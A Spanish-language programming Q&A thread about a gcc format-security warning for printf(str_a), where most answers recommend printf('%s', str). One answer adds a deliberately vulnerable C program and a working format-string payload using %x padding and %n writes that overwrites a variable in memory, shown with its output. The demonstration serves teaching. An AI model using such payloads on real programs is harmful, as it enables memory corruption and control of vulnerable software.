2012-03-14 8 views
24

Estoy intentando aprender C y ya me he encontrado con un problema. Supongo que es trivial, pero necesito saberlo. He escrito:array c - advertencia: formato no literal de cadena

#include <stdio.h> 
#include <string.h> 

int main() 
{ 
    char str_a[20]; 

    strcpy(str_a, "Hello, world!\n"); 
    printf(str_a); 
} 

Una vez que intento compilarlo con: gcc -g -o char_array2 char_array2.c recibo un error que dice:

char_array2.c: In function ‘main’: 
char_array2.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security] 

Puede alguien por favor ayuda?

+0

Posible duplicado de [advertencia: el formato no es un literal de cadena ni argumentos de formato] (http://stackoverflow.com/questions/4419293/warning-format-not-a-string-literal-and-no-format -argumentos) –

Respuesta

44

Al usar printf, la cadena de formato es mejor ser una cadena literal y no una variable:

printf("%s", str_a); 
+0

¿Mejor o requerido? ¿Por qué? –

4

La advertencia es causada por el compilador que quiere que el primer argumento de printf sea una cadena literal. Se quiere que escriba esto:

printf("%s\n", str_a); 

Esto es debido a que el primer parámetro de printf es la cadena de formato. Los argumentos de formato se pasan después de eso.

Nota: De hecho, puede utilizar una variable como cadena de formato, pero probablemente no deba hacer eso. Es por eso que el compilador emite una advertencia y no un error.

1

printf() espera que su formato sea una cadena literal, no una cadena creada dinámicamente. Para solucionar, intente esto:

printf("%s", str_a); // %s denotes a string 

O utilice puts

puts(str_a); 
+0

Es igual a 'printf()' si le pasa un literal de cadena o un puntero: el primero se convierte en un puntero antes de 'printf()' incluso cree que se va a llamar. También 'puts()' agrega un ''\ n'' a la salida y la cadena original ya tiene uno. – pmg

+0

@pmg no es lo mismo. Con 'printf ("% s ", str)' su argumento puede tener caracteres de formato (% c,% i,% f) sin riesgo de comportamiento indefinido con va_arg. –

+0

Lo que quiero decir es que su afirmación de que 'printf()' espera que una cadena literal sea falsa. El compilador, por otro lado, está siendo útil al señalar un error común en el uso de 'printf()'. – pmg

1

Lea la advertencia 'no hay argumentos de formato' - es decir, no% en la cadena.

Trate printf("%s", str_a);

13

sólo para añadir algo a otras respuestas, lo mejor es hacer esto porque hace (tiempo?) Tiempo de personas escribieron printf así y los hackers encontraron una manera de leer y escribir en la pila, más here.
Por ejemplo, un programa sencillo como esto:

[email protected]:~$ cat format_vul.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]) 
{ 
    char text[1024]; 
    static int test_var = -1; 

    if(argc < 2) { 
     printf("Use: %s <input>\n", argv[0]); 
     exit(-1); 
    } 

    strcpy(text, argv[1]); 

    printf("The correct way:\n"); 
    printf("%s", text); 

    printf("\nThe wrong way:\n"); 
    printf(text); 

    printf("\n[*]: test_var @ %8p = %d (0x%x)\n", &test_var, test_var, test_var); 
} 
[email protected]:~$ ./format_vul AAAA 
The correct way: 
AAAA 
The wrong way: 
AAAA 
[*]: test_var @ 0x804a024 = -1 (0xffffffff) 

Se puede utilizar para cambiar el valor de test_var de 0xffffff a otra cosa, como 0xaabbccdd:

[email protected]:~$ ./format_vul $(printf "\x24\xa0\x04\x08JUNK\x2 
5\xa0\x04\x08JUNK\x26\xa0\x04\x08JUNK\x27\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x. 
%8x.%8x.%8x.%8x.%110x.%n%239x%n%239x%n%239x%n 
The correct way: 
$�JUNK%�JUNK&�JUNK'�.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%110x.%n%239x%n%239 
x%n%239x%n 
The wrong way: 
$�JUNK%�JUNK&�JUNK'�.bfffefec. 154d7c. 155d7c. 155d7c.  f0.  f0.b 
ffff4a4.  4.  4.             
                174.     


               50415243      


               50415243      


               50415243 
[*]: test_var @ 0x804a024 = -1430532899 (0xaabbccdd) 
+1

gracias por la información de la pila, ¡interesante! – bigl

Cuestiones relacionadas